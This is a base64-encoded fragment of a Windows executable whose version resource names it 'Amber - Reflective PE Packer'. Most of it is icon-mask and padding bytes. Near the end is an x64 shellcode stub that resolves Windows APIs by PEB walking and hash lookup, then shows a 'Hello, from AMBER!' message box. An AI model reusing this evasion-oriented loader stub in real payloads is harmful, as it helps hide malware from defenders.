///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH4Af8AAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAD//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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